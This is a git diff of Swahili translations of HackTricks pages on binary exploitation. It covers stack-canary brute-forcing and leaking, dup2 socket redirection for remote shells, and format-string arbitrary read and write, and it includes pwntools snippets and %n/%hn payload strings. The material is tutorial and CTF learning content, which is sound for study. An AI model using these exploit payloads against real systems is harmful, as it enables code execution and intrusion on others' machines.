Kwa hivyo, njia bora ya kuzipuuza canary ni kwa **kuziburuza moja kwa moja kwa herufi**, na unaweza kugundua ikiwa herufi iliyoguswa ya canary ilikuwa sahihi kwa kuchunguza ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu, kazi **inaburuta kwa nguvu canary ya Bytes 8 (x64)** na kutofautisha kati ya herufi iliyoguswa kwa usahihi na herufi mbaya kwa tu **kuchunguza** ikiwa **jibu** limetumwa na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/kinyume**):
Kwa hivyo, njia bora ya kuzipuuza canary ni kwa **kuzipuuza moja kwa moja kwa herufi**, na unaweza kugundua ikiwa herufi iliyoguessed ya canary ilikuwa sahihi kwa kuchunguza ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu, kazi **inapuuza kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya herufi iliyoguessed kwa usahihi na herufi mbaya kwa tu **kuchunguza** ikiwa **jibu** limetumwa na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/kinyume**):
### Mfano 1
@ -70,9 +70,10 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Mfano 2
### Mfano wa 2
Hii imeboreshwa kwa bits 32, lakini inaweza kubadilishwa kwa urahisi kuwa bits 64. Pia eleza kwamba kwa mfano huu **programu inatarajia kwanza byte kuashiria ukubwa wa matokeo** na mzigo.
Hii imeboreshwa kwa bits 32, lakini inaweza kubadilishwa kwa urahisi kuwa bits 64.\
Pia eleza kwamba kwa mfano huu **programu inatarajia kwanza byte kuashiria ukubwa wa matokeo** na mzigo.
```python
from pwn import *
@ -115,9 +116,12 @@ log.info(f"The canary is: {canary}")
```
## Vitambulisho
Vitambulisho vya mchakato huo huo pia **vitashiriki kitufe cha canary**, hivyo itakuwa **inawezekana kufanya nguvu ya brute** kwa canary ikiwa binary inazalisha wambiso mpya kila wakati shambulio linatokea.&#x20;
Vitambulisho vya mchakato huo huo pia **vitashiriki ishara sawa ya canary**, hivyo itakuwa **inawezekana kufanya nguvu ya brute** kwa canary ikiwa binary inazalisha wima mpya kila wakati shambulio linatokea.&#x20;
Zaidi ya hayo, kuzidi kwa buffer **katika kazi iliyofungwa** iliyolindwa na canary inaweza kutumika kwa **kurekebisha canary kuu ya wima**. Kama matokeo, kinga ni bure kwa sababu ukaguzi unatumika na vitambulisho viwili ambavyo ni sawa (ingawa vimebadilishwa).\
Shambulio hili hufanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
## Mifano na Marejeleo Mengine
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* Biti 64, hakuna PIE, nx, BF canary, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo.
* Biti 64, hakuna PIE, nx, BF canary, andika kumbukumbu fulani kwenye kumbukumbu ya ROP ili kuita `execve` na ruka hapo.

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,48 +10,34 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Ongeza stack iliyochapishwa
Fikiria hali ambapo **programu inayoweza kudhurika** na kujaa kwa stack inaweza kutekeleza kazi ya **puts** ikionyesha **sehemu** ya **kujaa kwa stack**. Mshambuliaji anajua kwamba **baiti ya kwanza ya canary ni baiti tupu** (`\x00`) na sehemu iliyobaki ya canary ni **baiti za nasibu**. Kisha, mshambuliaji anaweza kuunda kujaa ambalo **linaharibu stack hadi kufikia baiti ya kwanza ya canary**.
Fikiria hali ambapo **programu inayoweza kudhurika** na kujaa kwa stack inaweza kutekeleza kazi ya **puts** ikionyesha **sehemu** ya **kujaa kwa stack**. Mshambuliaji anajua kwamba **baiti ya kwanza ya canary ni baiti tupu** (`\x00`) na sehemu iliyobaki ya canary ni **baiti za kubahatisha**. Kisha, mshambuliaji anaweza kuunda kujaa ambalo **linaharibu stack hadi kufikia baiti ya kwanza ya canary**.
Kisha, mshambuliaji **anaita utendaji wa puts** katikati ya mzigo ambao utachapisha canary yote (isipokuwa baiti tupu ya kwanza).
Kwa habari hii, mshambuliaji anaweza **kutengeneza na kutuma shambulio jipya** akijua canary (katika kikao cha programu hiyo hiyo).
Kwa habari hii, mshambuliaji anaweza **kutengeneza na kutuma shambulio jipya** akijua canary (katika **kikao kimoja cha programu**).
Kwa wazi, mkakati huu ni **mdogo sana** kwani mshambuliaji lazima aweze **kuchapisha** **maudhui** ya mzigo wake ili **kuchota** **canary** na kisha aweze kuunda mzigo mpya (katika **kikao cha programu hiyo hiyo**) na **kutuma** **kujaa kwa buffer** halisi.
Kwa wazi, mkakati huu ni **mdogo sana** kwani mshambuliaji lazima aweze **kuchapisha** **maudhui** ya mzigo wake ili **kuchota** **canary** na kisha aweze kuunda mzigo mpya (katika **kikao kimoja cha programu**) na **kutuma** **kujaa kwa buffer** halisi.
**Mifano ya CTF:**&#x20;
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kujaa hadi baiti 0x00 ya canary kisha kuita puts na kuvuja. Kwa canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na ROP gadget kuita `system('/bin/sh')`
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kujaa hadi baiti 0x00 ya canary kisha kuita puts na kuvuja. Kwa canary, kifaa cha ROP kinachoitwa kwa kutumia puts kuvuja anwani ya puts kutoka kwa GOT na kifaa cha ROP kuita `system('/bin/sh')`
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
* Biti 32, ARM, hakuna relro, canary, nx, hakuna pie. Kujaa na wito wa puts juu yake kuvuja canary + ret2lib kuita `system` na mnyororo wa ROP kutoa r0 (arg `/bin/sh`) na pc (anwani ya system)
* Biti 32, ARM, hakuna relro, canary, nx, hakuna pie. Kujaa na wito wa puts juu yake kuvuja canary + ret2lib kuita `system` na mnyororo wa ROP kwa pop r0 (arg `/bin/sh`) na pc (anwani ya system)
## Kusoma Kiholela
Kwa kusoma kiholela kama ile inayotolewa na **vishale vya muundo**, inaweza kuwa inawezekana kuvuja canary. Angalia mfano huu: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) na unaweza kusoma kuhusu kutumia vishale vya muundo kusoma anwani za kumbukumbu za kiholela katika:
Kwa **kusoma kiholela** kama ile inayotolewa na **vistringi vya muundo** inaweza kuwa inawezekana kuvuja canary. Angalia mfano huu: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) na unaweza kusoma kuhusu kutumia vistringi vya muundo kusoma anwani za kumbukumbu za kiholela katika:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Changamoto hii inatumia njia ya kawaida sana ya vishale vya muundo kusoma canary kutoka kwa stack
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
* Changamoto hii inatumia njia ya kawaida sana ya vistringi vya muundo kusoma canary kutoka kwa stack

View file

@ -4,9 +4,9 @@
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -16,7 +16,7 @@
Unapotuma dudu kwa seva ya mbali ambayo inaita **`system('/bin/sh')`** kwa mfano, hii itatekelezwa katika mchakato wa seva kwa hakika, na `/bin/sh` itatarajia kuingia kutoka stdin (FD: `0`) na itachapisha matokeo kwenye stdout na stderr (FDs `1` na `2`). Kwa hivyo, mkaidi hataweza kuingiliana na kifaa cha amri.
Njia ya kusahihisha hii ni kudai kwamba wakati seva ilipoanza iliumba **FD nambari `3`** (kwa kusikiliza) na kwamba basi, uunganisho wako utakuwa katika **FD nambari `4`**. Kwa hivyo, ni rahisi kutumia syscall **`dup2`** kuzidisha stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya uunganisho wa mkaidi) hivyo itawezekana kuwasiliana na kifaa cha amri mara tu itakapotekelezwa.
Njia ya kusuluhisha hii ni kudai kwamba wakati seva ilipoanza iliumba **FD nambari `3`** (kwa kusikiliza) na kwamba basi, uunganisho wako utakuwa katika **FD nambari `4`**. Kwa hivyo, ni rahisi kutumia syscall **`dup2`** kuzidisha stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya uunganisho wa mkaidi) hivyo itawezekana kuwasiliana na kifaa cha amri mara tu itakapotekelezwa.
[**Mfano wa kudukua kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
@ -37,8 +37,20 @@ p.interactive()
```
## Socat & pty
Tafadhali kumbuka kuwa socat tayari inahamisha `stdin` na `stdout` kwa soketi. Walakini, mode ya `pty` **inajumuisha wahariri wa DELETE**. Kwa hivyo, ikiwa unatuma `\x7f` (`DELETE` -) ita **futa herufi iliyotangulia** ya shambulio lako.
Tafadhali kumbuka kuwa socat tayari inahamisha **`stdin`** na **`stdout`** kwa soketi. Walakini, mode ya `pty` **inajumuisha wahariri wa KUFUTA**. Kwa hivyo, ikiwa unatuma `\x7f` (`KUFUTA` -) ita **kufuta herufi iliyotangulia** ya shambulio lako.
Ili kuepuka hili, **herufi ya kutoroka `\x16` lazima iwekwe mbele ya yoyote `\x7f` iliyotumwa.**
**Hapa unaweza** [**kupata mfano wa tabia hii**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,17 +4,17 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Taarifa Msingi
Katika C **`printf`** ni kazi inayoweza kutumika kwa **kusafirisha** string fulani. **Parameter ya kwanza** ambayo kazi hii inatarajia ni **maandishi ghafi yenye formatters**. **Parameta zinazofuata** zinatarajiwa kuwa **thamani** za **kuchukua nafasi** ya **formatters** kutoka kwenye maandishi ghafi.
Katika C **`printf`** ni kazi inayoweza kutumika kwa **kusambaza** baadhi ya string. **Parameter ya kwanza** ambayo kazi hii inatarajia ni **maandishi ghafi yenye formatters**. **Parameta zinazofuata** zinatarajiwa kuwa **thamani** za **kubadilisha** **formatters** kutoka kwenye maandishi ghafi.
Udhaifu unaonekana wakati **maandishi ya muhusika yanatumika kama hoja ya kwanza** kwa kazi hii. Muhusika ataweza kutengeneza **kuingia maalum kwa kudhuru** uwezo wa **strings za umbizo za printf** kusoma na **kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa)**. Hivyo kuweza **kutekeleza nambari za aina yoyote**.
@ -30,7 +30,7 @@ Udhaifu unaonekana wakati **maandishi ya muhusika yanatumika kama hoja ya kwanza
```
**Mifano:**
* Mfano wa hatari:
* Mfano wa kudukuliwa:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
@ -47,11 +47,11 @@ printf("%x %x %x", value); // Unexpected output: reads random values from the s
```
### **Kupata Pointers**
Muundo wa **`%<n>$x`**, ambapo `n` ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:
Muundo wa **`%<n>$x`**, ambapo `n` ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:
```c
printf("%x %x %x %x")
```
Na ungesoma kutoka kiparamita ya kwanza hadi ya nne.
Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.
Au unaweza kufanya:
```c
@ -59,7 +59,7 @@ printf("$4%x")
```
na soma moja kwa moja ya nne.
Gundua kwamba muhalifu anadhibiti parameter ya `pr`**`intf`**, ambayo kimsingi inamaanisha kwamba mchango wake utakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
Gundua kwamba muhalifu anadhibiti `pr` **`intf` parameter, ambayo kimsingi inamaanisha** mchango wake utakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
{% hint style="danger" %}
Muhalifu anayedhibiti mchango huu, ataweza **kuongeza anwani za kiholela kwenye stack na kufanya `printf` kuzifikia**. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii.
@ -67,7 +67,7 @@ Muhalifu anayedhibiti mchango huu, ataweza **kuongeza anwani za kiholela kwenye
## **Kusoma Kiholela**
Inawezekana kutumia mfumo wa **`$n%s`** ili kufanya **`printf`** ipate **anwani** iliyoko katika **nafasi ya n**, ikifuatiwa na **kuichapisha kana kwamba ni string** (kuichapisha hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
Inawezekana kutumia mfumo wa **`$n%s`** ili kufanya **`printf`** ipate **anwani** iliyoko katika **nafasi ya n**, ikifuatiwa na **kuichapisha kana kwamba ni string** (kuichapisha hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kuwa mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
```python
from pwn import *
@ -86,30 +86,30 @@ Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu
## **Andika Kiholela**
Mfumo **`$<num>%n`** **huandika** **idadi ya byte zilizoandikwa** kwenye **anwani iliyotajwa** katika paramu ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kama anavyotaka na printf, ataweza kufanya **`$<num>%n`** iandike nambari ya kiholela kwenye anwani ya kiholela.
Mfumo **`$<num>%n`** **huandika** **idadi ya baits zilizoandikwa** kwenye **anwani iliyotajwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika idadi kubwa ya char kama anavyotaka na printf, ataweza kufanya **`$<num>%n`** iandike nambari ya kiholela kwenye anwani ya kiholela.
Bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `num`**.
Kwa bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Hata hivyo, ni vyema kufahamu kwamba kawaida ili kuandika anwani kama vile `0x08049724` (ambayo ni nambari KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu kuandika **Bayti 2 tu**. Kwa hivyo, hatua hii inafanywa mara mbili, mara moja kwa Bayti 2 za juu za anwani na mara nyingine kwa zile za chini.
Hata hivyo, ni vyema kufahamu kwamba kawaida ili kuandika anwani kama vile `0x08049724` (ambayo ni nambari KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu kuandika **Byte 2 pekee**. Kwa hivyo, operesheni hii inafanywa mara mbili, mara moja kwa Byte 2 za juu za anwani na mara nyingine kwa zile za chini.
Hivyo, udhaifu huu huruhusu kuandika **chochote katika anwani yoyote (kuandika kiholela)**.
Hivyo, udhaifu huu huruhusu kuandika **chochote katika anwani yoyote (kuandika kiholela).**
Katika mfano huu, lengo ni **kubadilisha** **anwani** ya **kazi** katika **taarifa ya GOT** ambayo itaitwa baadaye. Ingawa hii inaweza kutumika katika mbinu zingine za kuandika kiholela kutekeleza:
Katika mfano huu, lengo litakuwa ni **kubadilisha** **anwani** ya **kazi** katika **taarifa ya GOT** ambayo itaitwa baadaye. Ingawa hii inaweza kutumika vibaya kwa njia nyingine za kutekeleza kuandika kiholela kwa mbinu za kutekeleza:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Tutakuwa **tukibadilisha** **kazi** ambayo **inapokea** **vigezo vyake** kutoka kwa **mtumiaji** na **kuielekeza** kwa kazi ya **`system`**.\
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji **kuandika Bayti 2** za anwani na kisha nyingine 2. Kufanya hivyo, **`$hn`** hutumiwa.
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika **Byte 2** za anwani na kisha nyingine 2. Kufanya hivyo, **`$hn`** hutumiwa.
* **HOB** inaitwa kwa Bayti 2 za juu za anwani
* **LOB** inaitwa kwa Bayti 2 za chini za anwani
* **HOB** inaitwa kwa Byte 2 za juu za anwani
* **LOB** inaitwa kwa Byte 2 za chini za anwani
Kisha, kutokana na jinsi mnyambuliko wa muundo unavyofanya kazi, unahitaji **kuandika kwanza ile ndogo** kati ya \[HOB, LOB\] na kisha nyingine.
Kisha, kutokana na jinsi formati ya string inavyofanya kazi, unahitaji **kuandika kwanza ile ndogo** kati ya \[HOB, LOB] na kisha nyingine.
Ikiwa HOB < LOB\
`[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]`
@ -127,7 +127,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Kigezo cha Pwntools
Unaweza kupata kigezo cha kuandaa shambulio kwa aina hii ya udhaifu katika:
Unaweza kupata **kigezo** cha kuandaa shambulio kwa aina hii ya udhaifu katika:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
@ -161,8 +161,8 @@ Inawezekana kutumia vitendo vya kuandika kutoka kwa udhaifu wa stringi ya umbizo
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya strings za umbizo kufichua bendera kutoka kwa steki (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
* 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya strings za umbizo kufichua bendera kutoka kwenye steki (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo kuandika anwani ndani ya main katika `.fini_array` (hivyo mtiririko unarudi mara 1 zaidi) na kuandika anwani ya `system` katika jedwali la GOT ikionyesha `strlen`. Wakati mtiririko unarudi kwa main, `strlen` inatekelezwa na matokeo ya mtumiaji na ikionyesha `system`, itatekeleza amri zilizopitishwa.
* 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo ya kuandika anwani ndani ya main katika `.fini_array` (hivyo mtiririko unarudi mara 1 zaidi) na kuandika anwani ya `system` katika jedwali la GOT ikionyesha kwa `strlen`. Wakati mtiririko unarudi kwa main, `strlen` inatekelezwa na matokeo ya mtumiaji na ikionyesha kwa `system`, itatekeleza amri zilizopitishwa.

View file

@ -1,14 +1,16 @@
# Kigezo cha Vipimo vya Umbo
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
